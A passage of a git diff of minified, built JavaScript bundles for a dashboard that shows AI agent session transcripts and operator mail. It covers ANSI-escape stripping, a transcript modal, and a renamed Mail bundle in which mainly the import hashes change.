")}"`),r.length&&(c=` style="${r.join(";")}"`),`<span${c}${u}>${s}</span>`}process_hyperlink(e){let s=e.url.split(":");return s.length<1||!this._url_allowlist[s[0]]?"":`<a href="${this.escape_txt_for_html(e.url)}">${this.escape_txt_for_html(e.text)}</a>`}}function y(t,...e){let s=t.raw[0],r=/^\s+|\s+\n|\s*#[\s\S]*?\n|\n/gm,n=s.replace(r,"");return new RegExp(n)}function Z(t,...e){let s=t.raw[0],r=/^\s+|\s+\n|\s*#[\s\S]*?\n|\n/gm,n=s.replace(r,"");return new RegExp(n,"g")}var w,E,j;const J=/\x1b\][^\x07\x1b\x9c]*(?:\x07|\x1b\\|\x9c)/g,W=/\x1b\[[?0-9;]*[a-ln-zA-Z]/g,X=/\x1b(?!\[[?0-9;]*m)[@-Z\\-_]?/g,Q=/[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f-\x9f]/g;function Y(t){return t.replace(J,"").replace(W,"").replace(X,"").replace(Q,"")}function K({children:t,caption:e}){const[s,r]=d.useState(!1),n=d.useRef(null),i=d.useRef(null),a=d.useRef(!0),[u,c]=d.useState(!1),f=d.useId(),p=s?i:n;d.useEffect(()=>{const g=p.current;!g||!a.current||(g.scrollTop=g.scrollHeight)});const h=d.useCallback(g=>{const x=g.currentTarget;a.current=x.scrollHeight-x.scrollTop-x.clientHeight<8},[]);d.useEffect(()=>{if(!s){c(!1);return}if(window.matchMedia("(prefers-reduced-motion: reduce)").matches){c(!0);return}const g=requestAnimationFrame(()=>c(!0));return()=>cancelAnimationFrame(g)},[s]),d.useEffect(()=>{if(!s)return;const g=x=>{x.key==="Escape"&&(x.stopPropagation(),r(!1),a.current=!0)};return document.addEventListener("keydown",g,!0),()=>document.removeEventListener("keydown",g,!0)},[s]);const _=()=>{a.current=!0,r(!0)},m=()=>{a.current=!0,r(!1)};return s?l.jsxs(l.Fragment,{children:[l.jsx("div",{className:"fixed inset-0 z-[60] bg-fg/30","aria-hidden":"true",onClick:m}),l.jsxs("div",{role:"dialog","aria-modal":"true","aria-labelledby":f,className:["fixed inset-[5%] z-[61] flex flex-col","bg-surface border border-rule rounded-md","transition-[opacity,transform] duration-150 ease-out motion-reduce:transition-none",u?"opacity-100 scale-100":"opacity-0 scale-95"].join(" "),onClick:g=>g.stopPropagation(),children:[l.jsxs("div",{className:"px-5 pt-4 pb-3 border-b border-rule shrink-0 space-y-1",children:[l.jsx("h2",{id:f,className:"text-label uppercase tracking-wider text-fg-faint",children:"Chat Transcript"}),l.jsxs("div",{className:"flex items-baseline gap-3",children:[e&&l.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:e}),l.jsx("button",{type:"button",onClick:m,"aria-label":"Collapse transcript",className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out focus-mark rounded-sm px-1 ml-auto",children:"collapse ×"})]})]}),l.jsx("div",{ref:i,onScroll:h,className:"flex-1 overflow-y-auto p-5",children:t})]})]}):l.jsxs("div",{children:[l.jsx("header",{className:"flex items-baseline justify-end mb-4 gap-3",children:l.jsxs("div",{className:"flex items-baseline gap-3 min-w-0",children:[e&&l.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:e}),l.jsx("button",{type:"button",onClick:_,"aria-label":"Expand transcript",className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out focus-mark rounded-sm shrink-0",children:"expand ⤢"})]})}),l.jsx("div",{ref:n,onScroll:h,className:"h-96 overflow-y-auto p-4",children:t})]})}const k=512,ee=/\b\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:\d{2})?(?!\d)/;function te(t){if(t.length===0)return null;const s=(t.length>k?t.slice(0,k):t).match(ee);return s?s[0]:null}function se({loading:t,error:e,result:s,caption:r}){if(t&&s===null)return l.jsx("p",{className:"text-fg-muted italic",children:"Fetching transcript."});if(e)return l.jsx("p",{className:"text-accent",role:"alert",children:e});if(!s)return null;if(s.turns.length===0)return l.jsx("p",{className:"text-fg-muted italic",children:"No turns in this session yet."});const n=Date.now();return l.jsx(K,{...r!==void 0?{caption:r}:{},children:l.jsxs("div",{className:"space-y-6",children:[r===void 0&&l.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint tnum",title:s.captured_at,children:M(s.captured_at)}),l.jsxs("p",{className:"text-label uppercase tracking-wider text-warn",children:["▲ ",F]}),l.jsx("ol",{className:"space-y-5",children:s.turns.map((i,a)=>l.jsx(ne,{turn:i,index:a,now:n},a))}),s.truncated&&l.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:["Some turns truncated at the per-turn or total cap. Run"," ",l.jsx("code",{className:"text-fg-muted",children:"gc session peek"})," in a terminal for the full transcript."]})]})})}function ne({turn:t,index:e,now:s}){const r=d.useMemo(()=>re(t.text),[t.text]),n=d.useMemo(()=>te(t.text),[t.text]);return l.jsxs("li",{children:[l.jsxs("header",{className:"flex items-start justify-between gap-3 pb-2 border-b border-rule mb-2",children:[l.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:["#",(e+1).toString().padStart(2,"0")]}),l.jsxs("div",{className:"flex flex-col items-end leading-tight",title:n??void 0,children:[l.jsx("span",{className:"text-body text-fg tnum",children:U(n)}),l.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:v(n,s)}),l.jsx(ie,{role:t.role})]})]}),l.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed overflow-x-auto text-fg",children:r})]})}function re(t){const e=Y(t),s=new P;s.use_classes=!0;const r=s.ansi_to_html(e);if(typeof DOMParser>"u")return[e];const n=new DOMParser().parseFromString(`<body>${r}</body>`,"text/html");return Array.from(n.body.childNodes).map((i,a)=>R(i,String(a)))}function R(t,e){if(t.nodeType===3)return t.textContent??"";if(t.nodeType!==1)return null;const s=t,r=Array.from(s.childNodes).map((n,i)=>R(n,`${e}-${i}`));return s.tagName.toLowerCase()==="br"?l.jsx("br",{},e):s.tagName.toLowerCase()!=="span"?l.jsx("span",{children:r},e):l.jsx("span",{className:s.getAttribute("class")??void 0,children:r},e)}function ie({role:t}){const e=ae(t);return l.jsx("span",{className:`text-label uppercase tracking-wider font-medium ${e}`,children:t.replace(/_/g," ")})}function ae(t){switch(t){case"assistant":return"text-accent";case"user":return"text-fg";case"system":return"text-warn";case"tool_use":case"tool_result":return"text-fg-muted";default:return"text-fg-faint"}}function de({sessionId:t,stream:e,showBadge:s=!0,showCaption:r=!1}){const n=q(t,e),i=n.status==="ready"?n.result:null,a=n.status==="loading",u=n.status==="failed"?n.error:null,c=le(n.stream),f=[];return r&&i&&(f.push(`${i.turns.length} turn(s)`),f.push(D(i.total_chars,"chars")),f.push(`captured ${v(i.captured_at,Date.now())}`)),l.jsxs("div",{className:"space-y-4",children:[s&&l.jsx("div",{className:"flex justify-end",children:l.jsx(B,{tone:c.tone,label:c.label,title:`Session stream: ${n.stream.status}`,className:"text-label uppercase tracking-wider"})}),l.jsx(se,{loading:a,error:u,result:i,...f.length>0?{caption:f.join(" · ")}:{}})]})}function le(t){switch(typeof t=="string"?t:t.status){case"open":return{tone:"ok",label:"live"};case"connecting":return{tone:"warn",label:"connecting"};case"closed":return{tone:"stuck",label:"offline"};case"degraded":return{tone:"warn",label:"degraded"};case"idle":return{tone:"neutral",label:"snapshot"}}}function he(t){return t===null?!1:t.running===!0||t.state==="active"||t.state==="running"}function pe(t){return t===null||!t.session?!1:t.running===!0||t.state==="active"||t.state==="running"}export{de as L,se as S,he as a,pe as i,q as u};
diff --git a/internal/api/dashboardspa/dist/assets/Mail-MdDQubNu.js b/internal/api/dashboardspa/dist/assets/Mail-CfeMOQZF.js
similarity index 97%
rename from internal/api/dashboardspa/dist/assets/Mail-MdDQubNu.js
rename to internal/api/dashboardspa/dist/assets/Mail-CfeMOQZF.js
index da59727f49..500f3dff5f 100644
--- a/internal/api/dashboardspa/dist/assets/Mail-MdDQubNu.js
+++ b/internal/api/dashboardspa/dist/assets/Mail-CfeMOQZF.js
@@ -1,3 +1,3 @@
-import{j as e,r,w as re,N as L,O as qe,J as F,K as B,v as Ce,g as Me,z as ae,R as ne,S as se,B as M,i as _,a as Ue,M as Ye,P as Ae,Q as Le,u as Ke,b as Ve,A as Ge,T as be,U as Qe,V as Je,W as Re,X as Ie}from"./index-fZITW1u7.js";import{a as Xe,L as Ze,m as et}from"./projectOf-CTBm9kvF.js";import{a as tt,r as je}from"./routeHighlight-B30gQO2o.js";import{u as at,F as st}from"./useListFilters-BD7uNn8W.js";import{T as rt}from"./Table-YkXdgAfn.js";import{M as _e,P as nt}from"./constants-D2ZRoVbf.js";import{P as lt}from"./PageHeader-BLycRKkQ.js";import{F as P}from"./Field-n7F8BpXe.js";import{f as it}from"./time-D9v0saHV.js";function q(t){const a=t.trim();if(a.length===0||!a.includes("/")&&!a.includes("\\"))return a;const i=a.split(/[\\/]/).filter(m=>m.length>0),c=i[i.length-1];if(c===void 0)return a;const n=i[i.length-2];if(n===void 0)return c;const l=c.startsWith(`${n}-`)?c.slice(n.length+1):c;return`${Xe(n)} · ${l}`}function ot({collapsed:t,onToggle:a,children:i,className:c="w-full flex items-baseline justify-between gap-4 focus-mark",glyphClassName:n}){return e.jsx("button",{type:"button",onClick:a,className:c,"aria-expanded":!t,children:i({glyph:e.jsx(ct,{collapsed:t,className:n??""})})})}function ct({collapsed:t,className:a=""}){return e.jsx("span",{"aria-hidden":!0,className:`inline-block text-fg-faint transition-transform duration-150 ease-out-quart ${a}`,style:{transform:t?"rotate(-90deg)":"rotate(0deg)"},children:"▾"})}function dt({project:t,count:a,collapsed:i,onToggle:c,collapsible:n=!0}){return n?e.jsx(ot,{collapsed:i,onToggle:c,className:"group flex items-baseline gap-2 w-full text-left focus-mark rounded-sm py-1",glyphClassName:"group-hover:text-fg-muted tnum w-3",children:({glyph:l})=>e.jsxs(e.Fragment,{children:[l,e.jsx("span",{className:"text-title font-medium text-fg group-hover:text-fg",children:t}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:a})]})}):e.jsxs("div",{role:"heading","aria-level":2,className:"flex items-baseline gap-2 py-1 text-label uppercase tracking-wider text-fg-faint",children:[e.jsx("span",{"aria-hidden":!0,children:"·"}),e.jsx("span",{children:t}),e.jsx("span",{"aria-hidden":!0,children:"·"})]})}function ut({groups:t,columns:a,rowKey:i,onToggleProject:c,onRowClick:n,rowProps:l,emptyMessage:m,perProjectEmpty:b,initialSort:h}){return t.length===0?e.jsx("p",{className:"py-10 text-center text-fg-muted italic",children:m}):e.jsx("div",{className:"space-y-8",children:t.map(d=>e.jsxs("section",{children:[e.jsx(dt,{project:d.project,count:d.totalInProject,collapsed:d.collapsed,onToggle:()=>c(d.projectKey),collapsible:d.collapsible}),!d.collapsed&&e.jsx(rt,{columns:a,rows:d.rows,rowKey:i,empty:b??"No items.",...n!==void 0?{onRowClick:n}:{},...l!==void 0?{rowProps:l}:{},...h!==void 0?{initialSort:h}:{}})]},d.projectKey))})}const ye="border-rule pb-6 border-b sm:shrink-0 sm:pr-6 sm:pb-0 sm:border-b-0 sm:border-r";function mt({buckets:t,loading:a,sessionsUnavailable:i,value:c,onChange:n,onReset:l,isOperator:m}){const[b,h]=r.useState(!1),[d,S]=r.useState(""),{operatorAlias:y,operatorWireAlias:u}=re(),A=L(c,y),x=r.useMemo(()=>{const f=d.trim().toLowerCase();return t.map(g=>({tier:g.tier,aliases:g.aliases.filter(v=>v.toLowerCase()===u?!1:f.length===0?!0:L(v,y).toLowerCase().includes(f)||v.toLowerCase().includes(f))})).filter(g=>g.aliases.length>0)},[t,d,y,u]),R=f=>{n(f),h(!1),S("")};return b?e.jsxs("aside",{className:`${ye} sm:w-64`,children:[e.jsx("button",{type:"button",onClick:()=>h(!1),"aria-expanded":!0,className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark rounded-sm",children:"▾ Agents"}),e.jsxs("div",{className:"mt-2 text-label uppercase tracking-wider text-fg-faint",children:[m?"Reading as":e.jsx("span",{className:"text-accent",children:"▲ Reading as"})," ",e.jsx("span",{className:`not-italic ${m?"text-fg-muted":"text-accent"}`,children:A})]}),e.jsx("div",{className:"mt-3 border-b border-rule pb-1",children:e.jsx("input",{type:"search",value:d,onChange:f=>S(f.target.value),placeholder:"Find an agent","aria-label":"Find an agent",autoFocus:!0,className:"w-full bg-transparent border-0 text-body text-fg placeholder:text-fg-faint focus:outline-none focus:ring-0 px-0 py-0.5"})}),e.jsxs("div",{className:"mt-3 max-h-[28rem] overflow-y-auto -mr-2 pr-2 space-y-4",children:[x.length===0?e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:a?"Loading aliases":"No agents match."}):x.map(f=>e.jsxs("div",{children:[e.jsx("div",{className:"text-label uppercase tracking-wider text-fg-faint mb-1",children:qe(f.tier)}),e.jsx("ul",{className:"space-y-0.5",children:f.aliases.map(g=>{const v=g.toLowerCase()===c.toLowerCase();return e.jsx("li",{children:e.jsx("button",{type:"button",onClick:()=>R(g),"aria-current":v,className:`block w-full text-left truncate text-body transition-colors duration-150 ease-out-quart focus-mark rounded-sm py-0.5 ${v?"text-fg font-semibold":"text-fg-muted hover:text-fg"}`,title:L(g,y),children:L(g,y)})},g)})})]},f.tier)),a&&x.length>0&&e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Loading more agents"}),!a&&i&&x.length>0&&(ft(x)?e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Agent list and mail history both unavailable."}):e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Agent list unavailable; showing mail-derived aliases only."}))]}),!m&&e.jsxs("div",{className:"mt-4 pt-3 border-t border-rule space-y-2",children:[e.jsx("button",{type:"button",onClick:l,className:"block text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark underline decoration-dotted underline-offset-2 rounded-sm",children:"Back to operator"}),e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Read-only. Sends always go from the operator."})]})]}):e.jsxs("aside",{className:`${ye} sm:w-44`,children:[e.jsx("button",{type:"button",onClick:()=>h(!0),"aria-expanded":!1,className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark rounded-sm",children:"▸ Agents"}),e.jsx("div",{className:"mt-4 text-label uppercase tracking-wider text-fg-faint",children:m?"Reading as":e.jsx("span",{className:"text-accent",children:"▲ Reading as"})}),e.jsx("div",{className:`mt-1 text-body truncate ${m?"text-fg":"text-accent font-medium"}`,title:A,children:A}),!m&&e.jsxs(e.Fragment,{children:[e.jsx("button",{type:"button",onClick:l,className:"mt-3 block text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark underline decoration-dotted underline-offset-2 rounded-sm",children:"Back to operator"}),e.jsx("p",{className:"mt-2 text-label uppercase tracking-wider text-fg-faint italic",children:"Read-only. Sends go from the operator."})]})]})}function ft(t){let a=0;for(const i of t)if(a+=i.aliases.length,a>1)return!1;return a<=1}async function pt(t,a){await F().sendMail(B("send supervisor mail"),{...t,from:a})}async function ve(t){await F().markMailRead(B("mark supervisor mail read"),t.id,U(t))}async function we(t){await F().markMailUnread(B("mark supervisor mail unread"),t.id,U(t))}async function xt(t){await F().archiveMail(B("archive supervisor mail"),t.id,U(t))}async function ht(t,a,i){await F().replyMail(B("reply supervisor mail"),t.id,{...a,from:i},U(t))}function U(t){return t.rig===void 0||t.rig.length===0?void 0:{rig:t.rig}}function gt({open:t,onClose:a,onSent:i}){const{viewingAs:c}=Ce(),n=Me(),{operatorAlias:l,operatorWireAlias:m}=re(),[b,h]=r.useState(""),[d,S]=r.useState(""),[y,u]=r.useState(""),[A,x]=r.useState(!1),[R,f]=r.useState(null);r.useEffect(()=>{t||(h(""),S(""),u(""),f(null))},[t]);const g=r.useCallback(async()=>{if(!n){x(!0),f(null);try{await pt({to:b,subject:d,body:y},m),i()}catch(N){f(ae(N,"send failed"))}finally{x(!1)}}},[y,i,n,d,b,m]),v=!n&&c.isOperator&&b.length>0&&d.length>0&&y.length>0&&!A;return e.jsx(_e,{open:t,onClose:a,title:"New message",caption:"Sends from the operator. Reading-as has no effect on the sender.",widthClass:"max-w-2xl",footer:e.jsxs(e.Fragment,{children:[e.jsx(M,{tone:"quiet",size:"sm",onClick:a,children:"Cancel"}),e.jsx(M,{tone:"accent",size:"sm",disabled:!v,title:n?_:void 0,onClick:()=>{g()},children:A?"Sending":"Send"})]}),children:e.jsxs("div",{className:"space-y-4",children:[e.jsx(P,{label:"From",variant:"form",children:e.jsx("input",{type:"text",value:c.isOperator?L(l,l):`${L(l,l)} (reading-as does not change sender)`,disabled:!0,className:"w-full bg-transparent border-0 border-b border-rule pb-1 text-body text-fg-muted italic"})}),e.jsx(P,{label:"To (alias)",variant:"form",children:e.jsx("input",{type:"text",autoFocus:!0,value:b,onChange:N=>h(N.target.value),placeholder:"mayor, mechanic, scix-worker, …",className:"w-full bg-transparent border-0 border-b border-rule pb-1 text-body text-fg placeholder:text-fg-faint focus:border-accent focus:outline-none transition-colors"})}),e.jsx(P,{label:"Subject",variant:"form",children:e.jsx("input",{type:"text",value:d,onChange:N=>S(N.target.value),maxLength:200,className:"w-full bg-transparent border-0 border-b border-rule pb-1 text-body text-fg focus:border-accent focus:outline-none transition-colors"})}),e.jsx(P,{label:"Body",variant:"form",children:e.jsx("textarea",{value:y,onChange:N=>u(N.target.value),rows:10,maxLength:16*1024,className:"w-full bg-surface-tint border border-rule rounded-sm px-3 py-2 text-body text-fg focus:border-accent focus:outline-none focus:ring-1 focus:ring-accent/40 resize-y"})}),n&&e.jsx(ne,{}),!c.isOperator&&e.jsx(se,{tone:"warn",label:`Reading as ${L(c.alias,l)}. Sends from this modal are structurally locked to the operator regardless.`}),R&&e.jsx(se,{tone:"stuck",label:R})]})})}function Ne({message:t,attentionSeverity:a=null}){return e.jsxs("article",{...bt(a),className:"space-y-3 pb-4 border-b border-rule last:border-0",children:[e.jsxs("header",{className:"flex items-baseline justify-between gap-3",children:[e.jsxs("div",{className:"text-label uppercase tracking-wider text-fg-muted truncate",children:[e.jsx("span",{className:"text-fg font-medium",children:q(t.from)}),e.jsx("span",{className:"mx-1.5 text-fg-faint",children:"→"}),e.jsx("span",{children:q(t.to)})]}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:jt(t.created_at)})]}),e.jsx("p",{className:"text-title font-semibold text-fg",children:t.subject}),e.jsx(se,{tone:"warn",label:nt}),e.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg overflow-x-auto",children:t.body})]})}function bt(t){return t===null?{}:{"data-attention-severity":t}}function jt(t){const a=Date.parse(t);return Number.isFinite(a)?new Date(a).toLocaleString(void 0,{month:"short",day:"numeric",hour:"numeric",minute:"2-digit"}):"·"}const ke=[{id:"unread",label:"unread",match:t=>!t.read},{id:"read",label:"read",match:t=>t.read}],yt={id:"needs-you",label:"needs you",match:t=>!t.read&&!Je(t.from)},vt=t=>[t.from,t.to,t.subject,t.rig,t.body.split(`
+import{j as e,r,w as re,M as L,N as qe,I as F,J as B,v as Ce,g as Me,z as ae,R as ne,S as se,B as M,i as _,a as Ue,K as Ye,O as Ae,P as Le,u as Ke,b as Ve,A as Ge,Q as be,T as Qe,U as Je,V as Re,W as Ie}from"./index-BFDP6Xwd.js";import{a as Xe,L as Ze,m as et}from"./projectOf-CJPpTC86.js";import{a as tt,r as je}from"./routeHighlight-B30gQO2o.js";import{u as at,F as st}from"./useListFilters-CE9qAvrH.js";import{T as rt}from"./Table-3q0HSJQI.js";import{M as _e,P as nt}from"./constants-DOaI3lZl.js";import{P as lt}from"./PageHeader-5RHLpIfH.js";import{F as P}from"./Field-BpdGqWpv.js";import{f as it}from"./time-D9v0saHV.js";function q(t){const a=t.trim();if(a.length===0||!a.includes("/")&&!a.includes("\\"))return a;const i=a.split(/[\\/]/).filter(m=>m.length>0),c=i[i.length-1];if(c===void 0)return a;const n=i[i.length-2];if(n===void 0)return c;const l=c.startsWith(`${n}-`)?c.slice(n.length+1):c;return`${Xe(n)} · ${l}`}function ot({collapsed:t,onToggle:a,children:i,className:c="w-full flex items-baseline justify-between gap-4 focus-mark",glyphClassName:n}){return e.jsx("button",{type:"button",onClick:a,className:c,"aria-expanded":!t,children:i({glyph:e.jsx(ct,{collapsed:t,className:n??""})})})}function ct({collapsed:t,className:a=""}){return e.jsx("span",{"aria-hidden":!0,className:`inline-block text-fg-faint transition-transform duration-150 ease-out-quart ${a}`,style:{transform:t?"rotate(-90deg)":"rotate(0deg)"},children:"▾"})}function dt({project:t,count:a,collapsed:i,onToggle:c,collapsible:n=!0}){return n?e.jsx(ot,{collapsed:i,onToggle:c,className:"group flex items-baseline gap-2 w-full text-left focus-mark rounded-sm py-1",glyphClassName:"group-hover:text-fg-muted tnum w-3",children:({glyph:l})=>e.jsxs(e.Fragment,{children:[l,e.jsx("span",{className:"text-title font-medium text-fg group-hover:text-fg",children:t}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:a})]})}):e.jsxs("div",{role:"heading","aria-level":2,className:"flex items-baseline gap-2 py-1 text-label uppercase tracking-wider text-fg-faint",children:[e.jsx("span",{"aria-hidden":!0,children:"·"}),e.jsx("span",{children:t}),e.jsx("span",{"aria-hidden":!0,children:"·"})]})}function ut({groups:t,columns:a,rowKey:i,onToggleProject:c,onRowClick:n,rowProps:l,emptyMessage:m,perProjectEmpty:b,initialSort:h}){return t.length===0?e.jsx("p",{className:"py-10 text-center text-fg-muted italic",children:m}):e.jsx("div",{className:"space-y-8",children:t.map(d=>e.jsxs("section",{children:[e.jsx(dt,{project:d.project,count:d.totalInProject,collapsed:d.collapsed,onToggle:()=>c(d.projectKey),collapsible:d.collapsible}),!d.collapsed&&e.jsx(rt,{columns:a,rows:d.rows,rowKey:i,empty:b??"No items.",...n!==void 0?{onRowClick:n}:{},...l!==void 0?{rowProps:l}:{},...h!==void 0?{initialSort:h}:{}})]},d.projectKey))})}const ye="border-rule pb-6 border-b sm:shrink-0 sm:pr-6 sm:pb-0 sm:border-b-0 sm:border-r";function mt({buckets:t,loading:a,sessionsUnavailable:i,value:c,onChange:n,onReset:l,isOperator:m}){const[b,h]=r.useState(!1),[d,S]=r.useState(""),{operatorAlias:y,operatorWireAlias:u}=re(),A=L(c,y),x=r.useMemo(()=>{const f=d.trim().toLowerCase();return t.map(g=>({tier:g.tier,aliases:g.aliases.filter(v=>v.toLowerCase()===u?!1:f.length===0?!0:L(v,y).toLowerCase().includes(f)||v.toLowerCase().includes(f))})).filter(g=>g.aliases.length>0)},[t,d,y,u]),R=f=>{n(f),h(!1),S("")};return b?e.jsxs("aside",{className:`${ye} sm:w-64`,children:[e.jsx("button",{type:"button",onClick:()=>h(!1),"aria-expanded":!0,className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark rounded-sm",children:"▾ Agents"}),e.jsxs("div",{className:"mt-2 text-label uppercase tracking-wider text-fg-faint",children:[m?"Reading as":e.jsx("span",{className:"text-accent",children:"▲ Reading as"})," ",e.jsx("span",{className:`not-italic ${m?"text-fg-muted":"text-accent"}`,children:A})]}),e.jsx("div",{className:"mt-3 border-b border-rule pb-1",children:e.jsx("input",{type:"search",value:d,onChange:f=>S(f.target.value),placeholder:"Find an agent","aria-label":"Find an agent",autoFocus:!0,className:"w-full bg-transparent border-0 text-body text-fg placeholder:text-fg-faint focus:outline-none focus:ring-0 px-0 py-0.5"})}),e.jsxs("div",{className:"mt-3 max-h-[28rem] overflow-y-auto -mr-2 pr-2 space-y-4",children:[x.length===0?e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:a?"Loading aliases":"No agents match."}):x.map(f=>e.jsxs("div",{children:[e.jsx("div",{className:"text-label uppercase tracking-wider text-fg-faint mb-1",children:qe(f.tier)}),e.jsx("ul",{className:"space-y-0.5",children:f.aliases.map(g=>{const v=g.toLowerCase()===c.toLowerCase();return e.jsx("li",{children:e.jsx("button",{type:"button",onClick:()=>R(g),"aria-current":v,className:`block w-full text-left truncate text-body transition-colors duration-150 ease-out-quart focus-mark rounded-sm py-0.5 ${v?"text-fg font-semibold":"text-fg-muted hover:text-fg"}`,title:L(g,y),children:L(g,y)})},g)})})]},f.tier)),a&&x.length>0&&e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Loading more agents"}),!a&&i&&x.length>0&&(ft(x)?e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Agent list and mail history both unavailable."}):e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Agent list unavailable; showing mail-derived aliases only."}))]}),!m&&e.jsxs("div",{className:"mt-4 pt-3 border-t border-rule space-y-2",children:[e.jsx("button",{type:"button",onClick:l,className:"block text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark underline decoration-dotted underline-offset-2 rounded-sm",children:"Back to operator"}),e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:"Read-only. Sends always go from the operator."})]})]}):e.jsxs("aside",{className:`${ye} sm:w-44`,children:[e.jsx("button",{type:"button",onClick:()=>h(!0),"aria-expanded":!1,className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark rounded-sm",children:"▸ Agents"}),e.jsx("div",{className:"mt-4 text-label uppercase tracking-wider text-fg-faint",children:m?"Reading as":e.jsx("span",{className:"text-accent",children:"▲ Reading as"})}),e.jsx("div",{className:`mt-1 text-body truncate ${m?"text-fg":"text-accent font-medium"}`,title:A,children:A}),!m&&e.jsxs(e.Fragment,{children:[e.jsx("button",{type:"button",onClick:l,className:"mt-3 block text-label uppercase tracking-wider text-fg-muted hover:text-fg focus-mark underline decoration-dotted underline-offset-2 rounded-sm",children:"Back to operator"}),e.jsx("p",{className:"mt-2 text-label uppercase tracking-wider text-fg-faint italic",children:"Read-only. Sends go from the operator."})]})]})}function ft(t){let a=0;for(const i of t)if(a+=i.aliases.length,a>1)return!1;return a<=1}async function pt(t,a){await F().sendMail(B("send supervisor mail"),{...t,from:a})}async function ve(t){await F().markMailRead(B("mark supervisor mail read"),t.id,U(t))}async function we(t){await F().markMailUnread(B("mark supervisor mail unread"),t.id,U(t))}async function xt(t){await F().archiveMail(B("archive supervisor mail"),t.id,U(t))}async function ht(t,a,i){await F().replyMail(B("reply supervisor mail"),t.id,{...a,from:i},U(t))}function U(t){return t.rig===void 0||t.rig.length===0?void 0:{rig:t.rig}}function gt({open:t,onClose:a,onSent:i}){const{viewingAs:c}=Ce(),n=Me(),{operatorAlias:l,operatorWireAlias:m}=re(),[b,h]=r.useState(""),[d,S]=r.useState(""),[y,u]=r.useState(""),[A,x]=r.useState(!1),[R,f]=r.useState(null);r.useEffect(()=>{t||(h(""),S(""),u(""),f(null))},[t]);const g=r.useCallback(async()=>{if(!n){x(!0),f(null);try{await pt({to:b,subject:d,body:y},m),i()}catch(N){f(ae(N,"send failed"))}finally{x(!1)}}},[y,i,n,d,b,m]),v=!n&&c.isOperator&&b.length>0&&d.length>0&&y.length>0&&!A;return e.jsx(_e,{open:t,onClose:a,title:"New message",caption:"Sends from the operator. Reading-as has no effect on the sender.",widthClass:"max-w-2xl",footer:e.jsxs(e.Fragment,{children:[e.jsx(M,{tone:"quiet",size:"sm",onClick:a,children:"Cancel"}),e.jsx(M,{tone:"accent",size:"sm",disabled:!v,title:n?_:void 0,onClick:()=>{g()},children:A?"Sending":"Send"})]}),children:e.jsxs("div",{className:"space-y-4",children:[e.jsx(P,{label:"From",variant:"form",children:e.jsx("input",{type:"text",value:c.isOperator?L(l,l):`${L(l,l)} (reading-as does not change sender)`,disabled:!0,className:"w-full bg-transparent border-0 border-b border-rule pb-1 text-body text-fg-muted italic"})}),e.jsx(P,{label:"To (alias)",variant:"form",children:e.jsx("input",{type:"text",autoFocus:!0,value:b,onChange:N=>h(N.target.value),placeholder:"mayor, mechanic, scix-worker, …",className:"w-full bg-transparent border-0 border-b border-rule pb-1 text-body text-fg placeholder:text-fg-faint focus:border-accent focus:outline-none transition-colors"})}),e.jsx(P,{label:"Subject",variant:"form",children:e.jsx("input",{type:"text",value:d,onChange:N=>S(N.target.value),maxLength:200,className:"w-full bg-transparent border-0 border-b border-rule pb-1 text-body text-fg focus:border-accent focus:outline-none transition-colors"})}),e.jsx(P,{label:"Body",variant:"form",children:e.jsx("textarea",{value:y,onChange:N=>u(N.target.value),rows:10,maxLength:16*1024,className:"w-full bg-surface-tint border border-rule rounded-sm px-3 py-2 text-body text-fg focus:border-accent focus:outline-none focus:ring-1 focus:ring-accent/40 resize-y"})}),n&&e.jsx(ne,{}),!c.isOperator&&e.jsx(se,{tone:"warn",label:`Reading as ${L(c.alias,l)}. Sends from this modal are structurally locked to the operator regardless.`}),R&&e.jsx(se,{tone:"stuck",label:R})]})})}function Ne({message:t,attentionSeverity:a=null}){return e.jsxs("article",{...bt(a),className:"space-y-3 pb-4 border-b border-rule last:border-0",children:[e.jsxs("header",{className:"flex items-baseline justify-between gap-3",children:[e.jsxs("div",{className:"text-label uppercase tracking-wider text-fg-muted truncate",children:[e.jsx("span",{className:"text-fg font-medium",children:q(t.from)}),e.jsx("span",{className:"mx-1.5 text-fg-faint",children:"→"}),e.jsx("span",{children:q(t.to)})]}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:jt(t.created_at)})]}),e.jsx("p",{className:"text-title font-semibold text-fg",children:t.subject}),e.jsx(se,{tone:"warn",label:nt}),e.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg overflow-x-auto",children:t.body})]})}function bt(t){return 